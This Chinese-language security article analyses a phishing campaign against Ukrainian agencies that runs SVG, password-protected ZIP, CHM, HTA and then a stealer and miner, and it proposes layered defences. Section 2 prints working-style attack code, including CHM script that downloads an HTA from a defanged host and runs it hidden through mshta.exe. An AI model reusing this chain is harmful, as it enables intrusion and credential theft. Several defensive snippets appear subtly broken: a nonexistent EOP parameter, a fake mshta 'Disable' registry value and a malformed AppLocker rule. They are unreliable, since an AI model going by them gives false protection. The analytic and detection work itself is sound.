摘要
近年来,攻击者持续利用文件格式特性规避传统安全检测机制。2025年9月,Fortinet与BankInfoSecurity披露了一起针对乌克兰政府机构的定向钓鱼活动,其核心特征在于使用可缩放矢量图形(Scalable Vector Graphics, SVG)作为初始载体,通过诱导用户打开伪装成“电子请求”的elektronni_zapit_NPU.svg文件,触发多阶段恶意载荷投递链。该链条依次涉及浏览器重定向、密码保护ZIP压缩包下载、Compiled HTML Help(CHM)文件执行,并最终部署Amatera信息窃取器与PureMiner加密货币挖矿程序。本文系统剖析此攻击链的技术实现细节,重点揭示SVG在现代邮件安全体系中的检测盲区、CHM文件的代码执行能力及其与HTML Application(HTA)脚本宿主的协同滥用机制。在此基础上,提出分层防御框架,涵盖邮件网关策略强化、端点执行环境限制、沙箱行为增强及威胁狩猎指标构建。通过提供SVG内容解析、CHM行为模拟与自动化提取的代码示例,本文为安全运维人员提供可操作的技术工具,旨在提升对灰区文件格式攻击的识别与阻断能力。
关键词:SVG;CHM;多阶段攻击;信息窃取;邮件安全;文件格式滥用;威胁狩猎

1 引言
随着终端防护与网络边界安全能力的普遍提升,攻击者日益倾向于利用合法但易被忽视的文件格式作为初始入侵载体。此类格式通常具备脚本执行、网络通信或文件系统交互能力,却因历史用途“无害”而未被严格管控。可缩放矢量图形(SVG)即为典型代表——作为一种基于XML的开放标准图形格式,SVG被广泛用于网页图标、数据可视化及文档嵌入,主流浏览器均原生支持其渲染。然而,其内嵌JavaScript的能力使其成为理想的攻击跳板。
2025年第三季度,针对乌克兰公共部门的钓鱼活动展示了这一趋势的最新演进。攻击者不再依赖传统Office宏或LNK快捷方式,而是采用SVG+ZIP+CHM的三段式投递链,有效绕过基于静态签名与沙箱行为的传统检测。该攻击的成功依赖于三个关键因素:(1)SVG在多数邮件安全策略中未被默认隔离;(2)密码保护ZIP可阻止沙箱自动解压分析;(3)CHM文件在Windows系统中默认关联hh.exe,且其内部HTML可调用ActiveX与脚本引擎,实现代码执行。
本文聚焦于此攻击链,逐层拆解其技术实现,评估现有防御措施的失效原因,并提出针对性缓解策略。研究不仅具有战术价值,亦对理解高级持续性威胁(APT)如何利用“合法工具链”实施隐蔽渗透具有战略意义。

2 攻击链技术剖析
2.1 初始载体:恶意SVG文件
攻击以邮件附件形式投递名为elektronni_zapit_NPU.svg的文件,伪装为乌克兰国家警察局(NPU)的电子请求。用户双击后,系统调用默认浏览器(如Chrome、Edge)打开该SVG。
SVG本质为文本文件,其内容可包含<script>标签。示例如下:
<!-- elektronni_zapit_NPU.svg -->
<svg xmlns="http://www.w3.org/2000/svg" width="400" height="300">
<rect x="10" y="10" width="380" height="280" fill="#f0f0f0"/>
<text x="200" y="150" font-size="16" text-anchor="middle">
Завантаження документа... Будь ласка, зачекайте.
</text>
<script type="application/ecmascript"><![CDATA[
window.location.href = "hxxps://malicious[.]xyz/download.html";
]]></script>
</svg>
该脚本在SVG加载完成后立即执行,将用户重定向至攻击者控制的下载页面。由于SVG由浏览器处理,此行为不触发传统邮件客户端的附件执行告警。

2.2 第二阶段:伪装下载页与加密ZIP
目标页面download.html模拟Adobe Reader加载界面,显示乌克兰语文本:“请等待,您的文档正在加载”。同时,页面自动触发ZIP文件下载:
<!-- download.html -->
<!DOCTYPE html>
<html>
<head><meta charset="utf-8"><title>Завантаження</title></head>
<body style="background:#fff; text-align:center; padding-top:100px;">
<h2>Будь ласка, зачекайте, ваш документ завантажується...</h2>
<p>Пароль: <strong>123456</strong></p>
<script>
// 延迟1秒后自动下载
setTimeout(() => {
window.location.href = "document.zip";
}, 1000);
</script>
</body>
</html>
下载的document.zip受密码123456保护,内含单一文件request.chm。由于沙箱通常无法获取解压密码,静态分析与动态行为监控均失效。

2.3 第三阶段:CHM执行与载荷释放
用户手动解压并双击request.chm,系统调用hh.exe(HTML Help Executable)打开。CHM文件实为编译后的HTML集合,其index.html可包含恶意脚本:
<!-- index.html inside CHM -->
<html>
<head>
<title>Електронний запит</title>
</head>
<body>
<h1>Запит отримано</h1>
<p>Обробка триває...</p>
<script>
var fso = new ActiveXObject("Scripting.FileSystemObject");
var shell = new ActiveXObject("WScript.Shell");
// 从远程服务器下载HTA载荷
var xhr = new ActiveXObject("MSXML2.XMLHTTP");
xhr.open("GET", "hxxps://malicious[.]xyz/loader.hta", false);
xhr.send();
// 写入临时目录
var tempPath = shell.ExpandEnvironmentStrings("%TEMP%") + "\\update.hta";
var file = fso.CreateTextFile(tempPath, true);
file.Write(xhr.responseText);
file.Close();
// 执行HTA(即CountLoader)
shell.Run('mshta.exe "' + tempPath + '"', 0, false);
// 关闭CHM窗口(可选)
window.close();
</script>
</body>
</html>
此处利用了CHM对ActiveX对象的支持(在本地上下文中默认启用),通过MSXML2.XMLHTTP下载远程HTA文件,并使用WScript.Shell执行mshta.exe。HTA(HTML Application)作为Windows遗留脚本宿主,可直接调用COM对象,实现无文件或低文件落地的恶意行为。
2.4 最终载荷:Amatera与PureMiner
loader.hta(即CountLoader)进一步解密并加载两个主要模块:
Amatera Stealer:窃取浏览器Cookie、保存的密码、加密货币钱包等;
PureMiner:部署XMRig挖矿程序,利用CPU资源进行门罗币挖掘。
整个链条无直接可执行文件(.exe)落地,依赖合法系统组件(浏览器、hh.exe、mshta.exe)完成攻击,极大降低EDR告警概率。
3 现有防御体系的失效分析
3.1 邮件网关策略盲区
多数企业邮件安全网关(如Proofpoint、Mimecast)默认允许SVG附件通行,因其被视为“静态图像”。即使启用URL重写,SVG内部的window.location重定向发生在客户端,无法被网关拦截。
3.2 沙箱分析局限
商业沙箱在处理加密ZIP时面临两难:
若不解压,则无法分析内部CHM;
若尝试暴力破解或OCR识别密码,成功率低且耗时,易被攻击者通过延迟触发规避。
此外,CHM在沙箱中常因权限限制无法调用WScript.Shell,导致行为未被记录。
3.3 端点执行环境宽松
Windows默认将.chm关联至hh.exe,且未禁用其脚本执行能力。尽管微软自Windows 10起限制CHM从互联网区域运行脚本,但若用户从本地磁盘(如Downloads文件夹)打开,仍处于“本地Intranet”或“Trusted Sites”区域,脚本执行不受限。
4 分层防御策略
4.1 邮件层:强制隔离高风险格式
建议在邮件网关配置中显式阻止或隔离以下扩展名:
.svg, .chm, .hta, .js, .vbs, .wsf
密码保护的.zip, .rar, .7z
示例(Exchange Online Protection PowerShell):
# 创建恶意附件过滤规则
New-MalwareFilterPolicy -Name "BlockHighRiskAttachments" `
-EnableInternalSenderAdminNotifications $true `
-Action DeleteMessage
New-MalwareFilterRule -Name "BlockHighRiskAttachmentsRule" `
-Priority 1 `
-MalwareFilterPolicy "BlockHighRiskAttachments" `
-AttachmentExtensionBlackList @(".svg", ".chm", ".hta", ".js", ".zip")
注:实际部署中可将.zip设为“隔离审查”而非直接删除,结合后续分析。
4.2 端点层:禁用危险执行宿主
通过组策略(GPO)或MDM禁用CHM与旧式脚本引擎:
; GPO路径:计算机配置 → 管理模板 → Windows组件 → HTML帮助
; 策略:禁止HTML帮助内容运行脚本
Enabled = 1
; 禁用mshta.exe(谨慎评估业务影响)
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\mshta.exe]
"Disable"=dword:00000001
或使用AppLocker规则阻止非授权CHM执行:
<AppLockerPolicy Version="1">
<RuleCollection Type="Exe" EnforcementMode="AuditOnly">
<FilePublisherRule Id="Block_CHM" Name="Block CHM Execution" Description="" UserOrGroupSid="S-1-1-0" Action="Deny">
<Conditions>
<FilePathCondition Path="%OSDRIVE%\*.chm" />
</Conditions>
</FilePublisherRule>
</RuleCollection>
</AppLockerPolicy>
4.3 沙箱增强:延迟解压与行为诱饵
对于加密压缩包,可部署具备以下能力的增强沙箱:
自动提取页面中明文显示的密码(如上述<p>Пароль: 123456</p>);
模拟用户交互(点击、输入)以触发延迟下载;
监控hh.exe与mshta.exe的子进程创建。
以下Python脚本演示从HTML中提取密码并解压ZIP:
import re
import zipfile
from bs4 import BeautifulSoup
def extract_password_from_html(html_content):
# 匹配常见密码提示模式(支持多语言)
patterns = [
r'password[:\s]*([a-zA-Z0-9!@#$%^&*()_+]{4,12})',
r'пароль[:\s]*([a-zA-Z0-9!@#$%^&*()_+]{4,12})',
r'clave[:\s]*([a-zA-Z0-9!@#$%^&*()_+]{4,12})'
]
for pattern in patterns:
match = re.search(pattern, html_content, re.IGNORECASE)
if match:
return match.group(1)
return None
def safe_extract_zip(zip_path, html_path):
with open(html_path, 'r', encoding='utf-8') as f:
html = f.read()
password = extract_password_from_html(html)
if not password:
print("No password found in HTML.")
return False
try:
with zipfile.ZipFile(zip_path) as zf:
zf.extractall(pwd=password.encode())
print(f"Successfully extracted with password: {password}")
return True
except RuntimeError as e:
print(f"Extraction failed: {e}")
return False
# 使用示例
safe_extract_zip("document.zip", "download.html")
4.4 威胁狩猎:IOC聚合与基础设施关联
安全团队应聚焦以下指标开展狩猎:
下载域名家族(如*.xyz, *.top中近期注册的仿冒域名);
CHM与HTA文件的哈希值;
mshta.exe启动hh.exe或从临时目录加载脚本的进程链。
Sigma规则示例(检测可疑CHM执行):
title: Suspicious CHM File Execution
status: experimental
description: Detects execution of .chm files from user Downloads or Temp directories.
logsource:
category: process_creation
product: windows
detection:
selection:
Image|endswith: '\hh.exe'
CommandLine|contains:
- '\Downloads\'
- '\Temp\'
- '\AppData\Local\'
condition: selection
falsepositives:
- Legitimate help documentation (rare in modern enterprise)
level: high
5 讨论
本攻击链凸显了“合法工具滥用”(Living-off-the-Land, LotL)策略的持续有效性。SVG、CHM、HTA均为系统原生支持的格式,其功能设计初衷并非恶意,却因安全策略滞后而成为攻击通道。防御的关键在于重新评估文件格式的风险属性,而非仅依赖其历史用途。
此外,攻击者对用户心理的精准操控(伪造官方通知、制造法律压力、提供明文密码)表明,技术防御必须与安全意识培训协同。然而,仅靠培训不足以应对高度逼真的社会工程,自动化策略阻断仍是根本。
6 结论
针对乌克兰的SVG钓鱼攻击展示了现代恶意软件投递链的复杂性与隐蔽性。通过结合灰区文件格式、加密规避与系统合法组件,攻击者成功绕过多层次防御。本文通过拆解SVG→ZIP→CHM→HTA→载荷的完整链条,揭示了各环节的技术细节与防御失效点,并提出从邮件隔离、端点加固、沙箱增强到威胁狩猎的综合对策。代码示例验证了密码提取、行为检测等关键技术的可行性。未来防御体系需建立动态文件风险评估机制,将“无害”格式纳入持续监控范畴,方能有效应对不断演化的投递技术。安全的本质不在于信任格式,而在于验证行为。
编辑:芦笛(公共互联网反网络钓鱼工作组)
102

被折叠的 条评论
为什么被折叠?



